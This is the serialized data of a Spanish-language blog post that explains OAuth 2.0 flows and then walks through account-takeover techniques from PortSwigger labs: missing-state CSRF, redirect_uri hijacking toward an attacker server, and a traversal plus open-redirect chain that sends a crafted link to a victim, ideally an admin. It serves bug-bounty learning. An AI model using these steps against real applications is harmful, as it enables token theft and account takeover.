[{"data":1,"prerenderedAt":291},["ShallowReactive",2],{"blog-root-hacking-oauth-de-0-a-experto":3,"blog-related-pool":222},{"id":4,"title":5,"author":6,"body":7,"category":211,"date":212,"description":213,"extension":214,"image":215,"meta":216,"navigation":217,"path":218,"published":217,"seo":219,"stem":220,"tags":215,"__hash__":221},"blog/blog/hacking-oauth-de-0-a-experto.md","como hackear oauth y protegerse","RonbHack",{"type":8,"value":9,"toc":203},"minimark",[10,15,19,22,25,28,31,34,37,40,43,48,51,54,57,60,63,66,69,72,75,78,81,84,87,90,93,96,99,108,111,114,121,124,127,130,133,136,144,153,156,159,162,165,168,171,174,177,180,183,191,194,197,200],[11,12,14],"h2",{"id":13},"introducción","Introducción",[16,17,18],"p",{},"Oauth es un servicio que nos permite loguearnos en una aplicación a través de otra cuenta de redes sociales, como Facebook, Instagram, Twitter o con nuestro email.",[16,20,21],{},"sign up with google\nsign up with facebook\nsign up with email",[16,23,24],{},"el registrarnos con estos servicios la pagina obtiene nuestros datos y con esto es posible registrarnos en su pagina.",[16,26,27],{},"Para explotar una autorización insegura de Oauth 2.0 debemos entender el protocolo y la implementación que este protocolo tiene:\npara garantizar el acceso de los recursos al cliente, el escenario típico tiene 4 partes:",[16,29,30],{},"Resource owner: el dueño del recurso, es decir el usuario",[16,32,33],{},"client application: es la aplicación por ejemplo Medium que pide que te autentiques con una cuenta de Google, Facebook, etc.",[16,35,36],{},"authorization server: es el encargado de gestionar y enviar los tokens para permitir al resource server enviar los datos, para esto el authorization server envía tokens de acceso al client application, que el client application con ese token pide los recursos al resource server.",[16,38,39],{},"resource server: es quien tiene los datos por ejemplo Google, Facebook, Twitter, etc. que serán dados al client application,",[16,41,42],{},"a menudo el authorization server y resource server son la misma entidad llamada Oauth provider.",[44,45,47],"h3",{"id":46},"tipos-de-flujos-de-oauth","Tipos de flujos de oauth",[16,49,50],{},"la aplicacion cliente debe configurarse para especificar que tipo de flujo usara en particular, básicamente hay de 2 tipos:\n-Authorization code grant\n-Implicit code grant",[16,52,53],{},"cualquiera que se elija de los anteriores se debe especificar que datos estará pidiendo, este parámetro es el scope, por ejemplo el nombre, los contactos, el mail, etc. para esto se usa OpenID Connect.",[16,55,56],{},"scope=contacts\nscope=openid%20profile\nAuthorization code grant type",[16,58,59],{},"Este flujo se caracteriza por la intervención del usuario para autorizar de forma explícita el acceso a sus datos por parte de la aplicación y por el uso de un código proporcionado por el servidor de autenticación para que la aplicación pueda obtener un access token. Es el mas usado en la actualidad porque además es el mas completo y seguro que existe\nImplicit grant type",[16,61,62],{},"Este flujo es una simplificación del flujo de Authorization Code, el usuario también interviene directamente para dar su consentimiento explícito, pero no se hace uso de un código, sino que se utiliza el access token directamente.\nRecibe el nombre de implícito porque toda la comunicación reside en el navegador, es decir, no hay un servidor backend.",[16,64,65],{},"para registrarse por ejemplo con google, este dará a la pagina varios datos como nombre, email, lenguaje preferido, foto de perfil, etc. Obtiene los datos desde el servidor de Google",[16,67,68],{},"usemos burp suite para ver el flujo oauth:",[16,70,71],{},"primero hacemos el oauth completo y luego vemos el historial para ver que arroja:\nExplotación:",[16,73,74],{},"el explotar oauth 2.0 puede llevarnos a una account takeover, en español a tomarnos la cuenta de otro usuario y en bug bounty es",[16,76,77],{},"explicaciones desde los laboratorios de portswigger:",[16,79,80],{},"authentication bypass via oauth implicit flow",[16,82,83],{},"errores q pagan!!!",[16,85,86],{},"prueba 1:",[16,88,89],{},"a. Interceptar con burp suite, loguearse en la aplicación con Oauth 2, luego\nver el historial y buscar la solicitud de autorización, debería ser algo\ncomo : GET /auth?client_id=…",[16,91,92],{},"b. Donde aparezca información básica del usuario como su email, usuario, u otros probar a cambiarlos que es la validación del lado del cliente y enviar esa solicitud a repeater y cambiar el email por el del atacante, si esto no arroja un error, entonces tenemos un bug.",[16,94,95],{},"prueba 2:",[16,97,98],{},"a traves de la falta del parametro state, que es similar al token anti csrf",[16,100,101,107],{},[102,103,104],"a",{"href":104,"rel":105},"http://authorization-ptl-14bce025-ea1fc156.libcurl.so/oauth/authorize",[106],"nofollow","?\nclient_id=ed8dcb27c5dd3627375996a8cffdb97df35cfe770ccab11077bc94b140771b2f&\nredirect_uri=http%3A%2F%2Fptl-14bce025-ea1fc156.libcurl.so%2Fauth%2Fmyprovider%2Fcallback&\nresponse_type=code&\nstate=d675159a4b59e638985e752cbb4c712c4f5d9a41515b96ab",[16,109,110],{},"el parametro state es imposible de adivinar",[16,112,113],{},"entonces cuando no tenga este parametro podemos hacer el csrf, para eso buscaremos en el burp, el code=…… ya que con ese code haremos el ataque, en ese intercept is on, nosotros haremos click derecho y copiar url, entonces estará la url junto con el code, y para que el codigo osea el code sea valido necesitamos hacer drop en el burp.",[16,115,116,117],{},"ahora necesitamos un servidor para explotarlo, en ese servidor para una Poc ",[102,118,119],{"href":119,"rel":120},"https://aplicacionvulnerable.com/oauth-linking?code=ndnjcsjiwnd",[106],[16,122,123],{},"y esa Poc se le envía a la victima ojala un usuario administrador para tener mas privilegios en el sistema.",[16,125,126],{},"prueba 3:",[16,128,129],{},"«Oauth hijacking via redirect_uri»",[16,131,132],{},"Cuando se presenta una configuración incorrecta que hace posible que un atacante robe los códigos de autorización asociados a las cuentas de otros usuarios antes que estos códigos se utilicen y así comprometer la aplicación cliente que esta asociada con el Oauth.",[16,134,135],{},"dejamos el burp suite corriendo para despues ver el historial",[16,137,138,139,143],{},"paso 1: nos logueamos con las redes sociales de oauth //aplicacion cliente\npaso 2: se nos devuelve una url como: //proveedor Oauth\nGET /auth=cliente_id{….}&response_type=code&redirect_uri=",[102,140,141],{"href":141,"rel":142},"http://servidoratacante.com/",[106],"\nen esta parte cambiar el redirect_uri a nuestro servidor atacante,",[16,145,146,147,152],{},"paso 3: Se envía la respuesta al servidor atacante gracias al open redirect que nos permite reenviar el code a nuestro servidor, vemos una redirección\n300 en burp\npaso 4: se ve los registros del servidor\npaso 5: se genera y envia el exploit a otro usuario ",[102,148,151],{"href":149,"rel":150},"https://aplicacionvulnerable.com/auth?client_id=%E2%80%A6",[106],"https://aplicacionvulnerable.com/auth?client_id=…","..",[16,154,155],{},"paso 6: se ve el codigo de autorizacion en logs\npaso 7: nos logueamos con el codigo de autorizacion robado",[16,157,158],{},"prueba 4:",[16,160,161],{},"«stealing oauth access tokens via an open redirect»",[16,163,164],{},"esta vez no se puede hacer open redirect tan sencillo con el parámetro redirect_uri, sino que se hara un directory traversal al pasar a otro endpoint del mismo servidor, desde el servidor aplicación cliente al servidor proveedor oauth, pero necesita una vulnerabilidad que le permita redirigir a un servidor atacante, por eso después del directory traversal se debe buscar en otro endpoint para hacer el open redirect.",[16,166,167],{},"este es un laboratorio de portswigger",[16,169,170],{},"primero activamos el burp suite y nos logueamos como wiener y pass como peter después vemos el historial y buscamos dos request que nos interesan la típica de oauth y GET /me",[16,172,173],{},"en GET /me, tenemos el token de Authorization y en su respuesta una apiKey mas datos del usuario, ese token y datos es lo que necesitamos obtener de la victima para un account takeover.",[16,175,176],{},"regresamos a la request GET /auth? y ahora si intentamos cambiar el redirect_uri tenemos de respuesta un codigo 400 not found, esta vez tiene mas seguridad la aplicación, por lo tanto ahora se intenta un directory traversal después del callback, auth-callback/../.. e intentamos usar una pagina para\nredirigir a un otro lugar de la misma aplicación cliente, si en la url o en la respuesta tenemos nos responde con el token entonces ya tenemos la primera vulnerabilidad realizada.",[16,178,179],{},"Ahora es momento de buscar el open redirect, para efectos del laboratorio de portswigger este se encuentra en una funcionalidad llamada next post\nsu request es:",[16,181,182],{},"GET /post/next?path=/post=postId=2 HTTP/1.1",[16,184,185,186,190],{},"GET /post/next?path=",[102,187,188],{"href":188,"rel":189},"http://google.com",[106]," HTTP/1.1",[16,192,193],{},"resumiendo, por un lado tenemos un directory traversal y por otro lado de\nla aplicacion cliente un open redirect.",[16,195,196],{},"tomamos nuestro proveedor oauth, no a la aplicacion cliente!",[16,198,199],{},"acdd1fc51e094b8e8152438702ab003d.web-security-academy.net/oauth-callback/../post/next?path=(aca va nuestro servidor atacante)&response_type=……",[16,201,202],{},"y ya esa url la enviamos a la victima apuntando a nuestro servidor atacante junto a un script para capturar el token y voila.",{"title":204,"searchDepth":205,"depth":205,"links":206},"",3,[207],{"id":13,"depth":208,"text":14,"children":209},2,[210],{"id":46,"depth":205,"text":47},"Ciberseguridad","2025-11-27","Aprende como hackear oauth y protegerse","md",null,{},true,"/blog/hacking-oauth-de-0-a-experto",{"title":5,"description":213},"blog/hacking-oauth-de-0-a-experto","ZpbECnWE3faN3HnAqzSkUxvmo6bAEqGhWwU0iyM_aPA",[223,226,229,233,236,239,242,245,248,251,254,257,260,263,266,269,272,273,276,279,282,285,288],{"path":224,"title":225,"category":211},"/blog/como-bypass-403-y-404-forbidden","Como Bypass 403 y 404 forbidden",{"path":227,"title":228,"category":211},"/blog/como-configurar-seguridad-maxima-en-tu-vps","Como configurar seguridad máxima en tu VPS",{"path":230,"title":231,"category":232},"/blog/como-crear-una-criptomoneda-gratis-desde-0-en-2026","Como crear una criptomoneda gratis en Solana desde 0 en 2026","Desarrollo",{"path":234,"title":235,"category":232},"/blog/como-crear-una-criptomoneda-gratis-y-ganar-dinero-2026","Como crear una criptomoneda gratis en BSC y ganar dinero 2026",{"path":237,"title":238,"category":211},"/blog/como-encontrar-facil-una-vulnerabilidad-en-bug-bounty","Como encontrar fácil una vulnerabilidad en bug bounty",{"path":240,"title":241,"category":211},"/blog/como-encriptar-archivos-gratis-en-windows-11","como-encriptar-archivos-gratis-en-windows-11",{"path":243,"title":244,"category":211},"/blog/como-hacer-hardening-de-servidores-linux-en-2023","Como hacer hardening de servidores linux en 2026",{"path":246,"title":247,"category":211},"/blog/como-hacer-un-keylogger-en-2026","Como hacer un Keylogger en 2026",{"path":249,"title":250,"category":211},"/blog/como-hackear-aws-s3","Como hackear AWS S3",{"path":252,"title":253,"category":211},"/blog/como-recuperar-la-cuenta-y-contrasena-de-windows","Como recuperar la cuenta y contraseña de Windows",{"path":255,"title":256,"category":211},"/blog/el-hacker-y-su-broma-de-amor-la-historia-sobre-el-virus-i-love-you","El Hacker y su broma de amor: La historia sobre el virus I Love you!",{"path":258,"title":259,"category":211},"/blog/guia-completa-para-escalar-privilegios-en-linux","Guía completa para escalar privilegios en Linux",{"path":261,"title":262,"category":211},"/blog/guia-completa-sobre-msfvenom","Guía completa sobre MSFVENOM",{"path":264,"title":265,"category":211},"/blog/guia-completa-sobre-nmap-2026","Guía completa sobre NMAP 2026",{"path":267,"title":268,"category":211},"/blog/guia-completa-sobre-ofuscacion-de-malware","Guía completa sobre Ofuscación de malware en 2026",{"path":270,"title":271,"category":211},"/blog/hackear-segundo-paso-de-autenticacin","bypassing 2FA  hackear el segundo paso de autenticación",{"path":218,"title":5,"category":211},{"path":274,"title":275,"category":211},"/blog/hacking-uuid-v1-sandwich-attack","Explotando hacking UUID V1 – Sandwich Attack",{"path":277,"title":278,"category":211},"/blog/las-mejores-herramientas-para-analisis-de-malware-en-2026","Las mejores herramientas para Análisis de Malware en 2026",{"path":280,"title":281,"category":211},"/blog/los-10-mejores-filtros-wireshark-del-mundo-real-que-necesitas-conocer","Los 10 mejores filtros Wireshark del mundo real que necesitas conocer",{"path":283,"title":284,"category":211},"/blog/que-es-threat-hunting-y-su-metodologia","QUE ES THREAT HUNTING Y SU METODOLOGÍA",{"path":286,"title":287,"category":211},"/blog/que-es-y-como-doxear-en-2026","Que es y como Doxear en 2026",{"path":289,"title":290,"category":211},"/blog/reconocimiento-para-bug-bounty","Tecnica de reconocimiento para bug bounty",1780596538180]